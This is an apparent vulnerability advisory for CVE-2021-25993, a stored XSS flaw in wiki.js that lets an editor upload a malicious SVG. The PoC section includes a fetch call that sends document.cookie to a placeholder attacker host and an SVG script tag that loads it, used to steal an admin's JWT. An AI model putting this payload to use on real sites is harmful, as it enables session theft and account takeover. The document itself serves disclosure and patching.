CVE-2021-25993

Overview

In “wiki.js”, versions 2.0.0-beta.147 to 2.5.255 are affected by Stored XSS vulnerability, where a low privileged (editor) user can upload a SVG file that contains malicious JavaScript while uploading assets in the page. That will send the JWT tokens to the attacker’s server and will lead to account takeover when accessed by the victim.

Details

The “wiki.js” application is affected by Stored XSS vulnerability, where a low privileged (editor) user can upload a SVG file that contains malicious JavaScript while uploading assets in the page. That will send the JWT tokens to the attacker’s server which leads to account takeover when accessed by the victim.

PoC Details

Access the application and login with editor credentials and click on the edit page. Now select insert assets and upload the malicious SVG file and save the page. Inside xss.js, put the malicious payload (provided below), while in your SVG file add a script tag with href value of xss.js location. Host the xss.js file in your local machine (for example by running the command “python -m http.server 80”). Now login as an admin user and open the uploaded SVG file in a new tab. The JavaScript in the file gets executed and sends the cookie to the attacker's address. An attacker can make use of jwt tokens received on his server to take over the victim's account.

PoC Code

xss.js file content: 
fetch('http://yourIP/'+document.cookie);
 
malicious SVG file content: 
<script href="http://yourIP/xss.js"> </script>

Affected Environments

2.0.0-beta.147--2.5.255

Prevention

Update to version 2.5.260 or later